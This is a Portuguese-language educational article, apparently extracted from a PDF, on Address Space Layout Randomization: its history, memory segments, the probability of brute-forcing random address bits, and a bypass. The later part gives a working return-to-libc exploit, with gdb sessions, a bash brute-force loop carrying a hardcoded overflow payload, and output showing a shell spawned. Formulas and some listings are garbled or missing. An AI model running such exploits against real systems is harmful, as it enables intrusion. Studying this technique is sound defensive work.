ASLR - Address Space Layout Randomization
ASLR - Address Space Layout Randomization
ASLR - Address Space Layout Randomization
Resumo
Certamente o ASLR foi um dos mecanismos de segurança mais efica-
zes na contenção da explosão no número de explorações com sucesso no
inicio do século 21. Inicialmente foi apresentado como solução genérica
para problemas de buffer overflow. Explorações que assumiam que o apli-
cativo vulnerável seria carregado em memória usando blocos de endereços
fixos foram invalidadas. Muito embora, pouco tempo depois técnicas para
burlar a proteção tenham surgido, o custo para construção de um exploit
funcional para essa categoria de vulnerabilidade aumentou significativa-
mente. As tentativas de exploração ficaram mais “ruidosas”, evidenciando
padrões de ataques e fornecendo subsı́dios para construção de dispositivos
de detecção automática. Atualmente, o ASLR é implementado nativa-
mente nos sistemas operacionais mais populares. Esse artigo tem por ob-
jetivo apresentar um breve (i) histórico, (ii) descrever o funcionamento,
(iii) apresentar uma análise qualitativa e (iv ) apresentar as principais
técnicas utilizadas parar contornar a proteção provida.
1 Definição e Histórico
O ASLR é um mecanismo de segurança que introduz aleatoriedade no processo
de alocação dos segmentos de um processo em memória. Esse processo é re-
alizado toda vez que um aplicativo é executado e carregado em memória pelo
sistema operacional. O ASLR foi concebido em 2000 como parte do projeto
Page EXec (PaX) [1, 2, 3]. O PaX nada mais é que um patch para o kernel do
Linux que agrega diversas caracterı́sticas de segurança ao sistema operacional.
Algumas soluções com objetivos similares ao ASLR já existiam antes de 2000
como o StackGuard, StackShield e a LibSafe. Apenas o ASLR foi implementado
e habilitado por padrão nos sistemas operacionais mais populares encontrados
no mercado. Em 2005 foi adicionado oficialmente ao núcleo do sistema opera-
cional Linux em sua versão 2.6.12. A Microsoft apresentou sua versão um ano
após através do Windows Vista.
Devido a aleatoriedade inserida no processo de geração dos segmentos em
memória, para localizar endereços o atacante necessita realizar uma série de
tentativas (força bruta) para uma exploração de uma vulnerabilidade do tipo
buffer overflow com sucesso. Essas tentativas são ruidosas e susceptı́veis a serem
classificadas como tentativas de ataque. Quando implementado em conjunto
com sistemas de monitoração e reação, o ASLR pode ser um mecanismo bastante
eficaz para detecção de tentativas de intrusão.
Para leitura desse artigo é recomendável conhecimentos básicos de pro-
gramação em C, Assembly Intel x86, exploração em pilha [4, 5] e depuração
básica usando o GDB [6, 7]. Apesar de todos os exemplos exibidos nesse artigo
1 malvares@conviso.com.br
1
serem construı́dos usando o sistema operacional GNU Linux, a teoria elabo-
rada é aplicável a qualquer implementação de ASLR encontrada nos sistemas
operacionais modernos.
2 Contextualização Teórica
Nos sistemas operacionais modernos cada processo possui um espaço de en-
dereçamento privado, isolado e dividido em segmentos com fins especı́ficos. Do
ponto de vista do processo é como se esse tivesse todos os recursos fı́sicos dis-
ponı́veis para uso exclusivo. A memória básica ou volátil (RAM) é um desses
recursos. Quando o usuário solicita a execução de um determinado aplicativo,
um espaço de endereçamento virtual é reservado e o seu binário é carregado
nesse espaço. O espaço de endereçamento é segmentado de acordo com o tipo
dos dados armazenados em cada segmento. Os principais segmentos de um
processo em memória são:
2
1
2 #define FILEPATH "./example.txt"
3 #define NUMCHARS sizeof("marcos alvares")
4 #define FILESIZE (NUMCHARS * sizeof(int))
5
6 int main() {
7 int fd; char *map;
8
9 fd = open(FILEPATH, O_RDWR);
10
11 map = mmap(NULL, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
12
13 map[NUMCHARS - 1] = ’\0’;
14 printf("[%s]\n", map);
15
16 printf("PID do PROCESSO: [%d]\n\n", getpid());
17 sleep(20000);
18 ...
19 return 0;
20 }
3
1 mabj@Jarvis:~/Documents/aslr/doc/examples$ ./example &
2 [2] 5171
3 mabj@Jarvis:~/Documents/aslr/doc/examples$ ./example &
4 [3] 5172
5
6 mabj@Jarvis:~/Documents/aslr/doc/examples$ cat /proc/5171/maps
7 00110000-0012b000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
8 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]
9 0012e000-00281000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
10 00285000-00288000 rw-p 00000000 00:00 0
11 08048000-08049000 r-xp 00000000 08:06 394687 /home/mabj/Documents/aslr/doc/examples/example
12 b7fe8000-b7fe9000 rw-p 00000000 00:00 0
13 b7ffd000-b7ffe000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt
14 b7ffe000-b8000000 rw-p 00000000 00:00 0
15 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]
16
17 mabj@Jarvis:~/Documents/aslr/doc/examples$ cat /proc/5172/maps
18 00110000-0012b000 r-xp 00000000 08:05 918023 /lib/ld-2.11.1.so
19 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]
20 0012e000-00281000 r-xp 00000000 08:05 1077606 /lib/tls/i686/cmov/libc-2.11.1.so
21 00285000-00288000 rw-p 00000000 00:00 0
22 08048000-08049000 r-xp 00000000 08:06 394687 /home/mabj/Documents/aslr/doc/examples/example
23 b7fe8000-b7fe9000 rw-p 00000000 00:00 0
24 b7ffd000-b7ffe000 rw-s 00000000 08:06 397845 /home/mabj/Documents/aslr/doc/examples/example.txt
25 b7ffe000-b8000000 rw-p 00000000 00:00 0
26 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]
4
Os exemplos acima foram todos realizados em ambientes que fazem uso
do sistema operaciona Linux Ubuntu. A implementação do ASLR do Linux
foi inspirada no PaX. Notamos que o ASLR implementado no Linux abrange
menos segmentos que o PaX original. O ASLR implementado no PaX afeta
quatro segmentos no processo:
n
X
P (B) = C(n, k)pk q n−k (1)
k=s
n!
C(n, k) = (2)
k!(n − k)!
n
X
(x + y)n = C(n, k)y k xn−k (3)
k=0
5
Combinando as equações 1 e 3 chegamos a conclusão que a probabilidade de
um evento ocorrer ao menos uma vez é igual a
1 x
P (B) = 1 − (1 − ) (6)
2N
A equação 6 é a probabilidade de um evento ocorrer ao menos uma vez em
x tentativas usando um espaço amostral composto por N bits aleatórios.
Para o caso do ASLR do PaX faz uso de 24 bits aleatórios para formação do
endereço base do segmento de pilha, o espaço amostral é de 224 possibilidades.
A probabilidade do atacante adivinhar o endereço base com uma única tentativa
para esse segmento é de aproximadamente 1 em 16.7 milhões. Isso é uma pro-
babilidade muito próxima de zero. Só para ser ter uma idéia, a probabilidade
de se morrer acertado por um raio é de aproximadamente 1 em 2.32 milhões.
A medida que são realizadas multiplas tentativas para achar o valor do en-
dereço base a probabilidade aumenta. A tabela abaixo mostra a variação da
probabilidade de acordo com o número de tentativas e a quantidade de bits
aleatórios:
6
• Força bruta;
• Técnicas orientadas a retorno [11];
Podemos observar na linha 5 do Código 9 que foi criada uma variável global
e estática que armazena uma string com o conteúdo “/bin/sh”. Através do
Código 5, podemos constatar que a região “.data” do binário não é afetada pelo
ASLR do Linux (kernel na versão 2.6.32-26). Isso significa que podemos usar o
endereço da string no nosso ataque na libc (16 bits) através da vulnerabilidade
encontrada na linha 8.
Na pilha, durante a execução de function, após o preenchimento do buffer
é encontrado o contexto da função main salvo através do EBP (base pointer )
e o ponto de retorno (endereço da próxima instrução em main a ser executada
após o termino de function). Através do strcpy e da variável buffer, vamos
sobrescrever esse contexto para substituir o endereço de retorno pelo endereço
7
da função system da libc (endereço aleatório) e o EBP pelo endereço da variável
string (que não é afetado pelo ASLR).
Para compilar o nosso exemplo precisamos desabilitar o mecanismo de proteção
a pilha baseado em canários oferecido pela libc. Esses mecanismos de proteção
da libc serão estudados em detalhes em artigos futuros.
mabj@Jarvis$ ./bug01 A
Global string: [/bin/sh], Address: [0x8048530]
mabj@Jarvis$ ./bug01 A
Global string: [/bin/sh], Address: [0x8048530]
mabj@Jarvis$ ./bug01 A
Global string: [/bin/sh], Address: [0x8048530]
Segmentation fault
8
1 (gdb) disas main
2 Dump of assembler code for function main:
3 0x0804842e <+0>: push %ebp
4 0x0804842f <+1>: mov %esp,%ebp
5 0x08048431 <+3>: and $0xfffffff0,%esp
6 0x08048434 <+6>: sub $0x10,%esp
7 0x08048437 <+9>: mov $0x8048530,%edx
8 0x0804843c <+14>: mov $0x8048538,%eax
9 0x08048441 <+19>: mov %edx,0x8(%esp)
10 0x08048445 <+23>: movl $0x8048530,0x4(%esp)
11 0x0804844d <+31>: mov %eax,(%esp)
12 0x08048450 <+34>: call 0x8048350 <printf@plt>
13 0x08048455 <+39>: mov 0xc(%ebp),%eax
14 0x08048458 <+42>: add $0x4,%eax
15 0x0804845b <+45>: mov (%eax),%eax
16 0x0804845d <+47>: mov %eax,(%esp)
17 0x08048460 <+50>: call 0x8048414 <function>
18 0x08048465 <+55>: mov $0x0,%eax
19 0x0804846a <+60>: leave
20 0x0804846b <+61>: ret
21 End of assembler dump.
do endereço não tem problema de ser um NULL (“\0”), porém os 8 bits menos
significativos serem NULL compromete nosso ataque2 .
1 (gdb) break main
2 Breakpoint 1 at 0x8048437: file bug01.c, line 12.
3 (gdb) r
4 Starting program: bug01
5
6 Breakpoint 1, main (argc=1, argv=0xbf877c24) at bug01.c:12
7 12 printf("Global string: [%s], Address: [%#x]\n\n", string, (unsigned int) string);
8 (gdb) disas system
9 Dump of assembler code for function __libc_system:
10 0x00b8a100 <+0>: sub $0xc,%esp
11 0x00b8a103 <+3>: mov %esi,0x4(%esp)
12 0x00b8a107 <+7>: mov 0x10(%esp),%esi
13 0x00b8a10b <+11>: mov %ebx,(%esp)
14 ...
15 (gdb) x/i 0x00b8a100 - 4
16 0x00b8a0fc: add %al,(%eax)
9
1 (gdb) break *(main+47)
2 Breakpoint 2 at 0x804845d: file example_region.c, line 15.
3 (gdb) break *(function+24)
4 Breakpoint 3 at 0x804842c: file example_region.c, line 10.
5 (gdb) break *(function+25)
6 Breakpoint 4 at 0x804842d: file example_region.c, line 10.
7 (gdb) i b
8 Num Type Disp Enb Address What
9 2 breakpoint keep y 0x0804845d in main at example_region.c:15
10 3 breakpoint keep y 0x0804842c in function at example_region.c:10
11 4 breakpoint keep y 0x0804842d in function at example_region.c:10
10
1 #!/bin/bash
2
3 COUNTER=0
4 while [ 0 ]; do
5 echo "[+] Tentativa $COUNTER"
6 ./bug01 $’AAAAAAAAAAAAAAAAAAAAAAAA\x30\x85\x04\x08\xfc\x70\x16\x00’;
7 let COUNTER=COUNTER+1
8 done;
1 mabj@Jarvis$ ./exploit.sh
2
3 ...
4
5 Segmentation fault
6 [+] Tentativa 9452
7 Global string: [/bin/sh], Address: [0x8048530]
8
9 Segmentation fault
10 [+] Tentativa 9453
11 Global string: [/bin/sh], Address: [0x8048530]
12
13 $ [BINGO]
1 Sucesso de exploraç~
ao nas tentativas: [
2 1130, 12998, 15906, 18930, 23886, 26342, 32985,
3 34366, 48500, 51381, 51401, 62373, 72270, 75773,
4 76226, 77321, 78621, 78974, 80234, 84299, 85332,
5 88937, 91015, 94803, 95029, 95165, 95833, 97285,
6 99669, 101471, 110756, 111518
7 ]
8 Quantidade de tentativas em cada exploraç~
ao: [
9 1130, 11868, 2908, 3024, 4956, 2456, 6643,
10 1381, 14134, 2881, 20, 10972, 9897, 3503,
11 453, 1095, 1300, 353, 1260, 4065, 1033,
12 3605, 2078, 3788, 226, 136, 668, 1452,
13 2384, 1802, 9285, 762
14 ]
15 Média: [146.349081364829]
11
4 Considerações Finais
Como vimos, o ASLR certamente é uma técnica que conseguiu cumprir a di-
ficil missão de agregar proteção de forma genérica a aplicativos em execução
em um sistema operacional. A maioria dos sistemas operacionais modernos
já apresentam o ASLR nativamente combinado com o W⊕X. Tais mecanis-
mos de segurança bloqueiam a maioria dos ataques de buffer overflow em sua
forma original. Apesar de dificultar a exploração de vulnerabilidades de buf-
fer overflow a técnica estudada não representa uma solução para essa categoria
de vulnerabilidades. Vimos que com pouco recurso conseguimos realizar uma
exploração de return-to-libc com sucesso mesmo em sistemas com o ASLR ha-
bilitado.
O aumento significativo no ruı́do causado pelos ataques é uma qualidade do
ASLR. Esse ruı́do serve como evidencia para detecção automática de ataques.
Apesar desse avanço, ainda não possuimos sistemas autônomos para detecção
e atuação de buffer overflow. A construção de tal algorı́tmo ainda se mostra
um desafio para os pesquisadores de segurança de informação (problema de
reconhecimento de padrão).
Como pesquisas futuras, seria importante estudar técnicas de reconheci-
mento de padrão como (máquina de vetor de suporte, redes neurais artificiais,
etc) aplicadas a construção de mecanismo de detecção de intrusão. Outro ponto
de investigação importante para o futuro seria a qualidade dos geradores de
número aleatório utilizados nos sistemas operacionais. No caso do Linux, de-
vido ao baixo número de tentativas para obtenção de sucesso na exploração de
16 bits, é provável que a entropia da distribuição produzida pelo gerador não
seja adequada.
Referências
[1] P. Team, “Address Space Layout Randomization,” 2003.
[2] ——, “PAX - Random Memory Map (randmmap),” 2003.
[3] ——, “PAX - Random Stack (randkstack),” 2003.
[4] A. One, “Smashing the stack for fun and profit,” Phrack magazine, vol. 7,
no. 49, pp. 1996–11, 1996.
[5] M. Álvares, “[VD01] – Stack Overflow,” 2009. [Online]. Available:
http://www.marcosalvares.com/?p=208
12
[10] H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh,
“On the effectiveness of address-space randomization,” Proceedings of the
11th ACM conference on Computer and communications security - CCS
’04, p. 298, 2004.
[11] M. Abadi and G. Plotkin, “On Protection by Layout Randomization,” 2010
23rd IEEE Computer Security Foundations Symposium, pp. 337–351, Jul.
2010.
13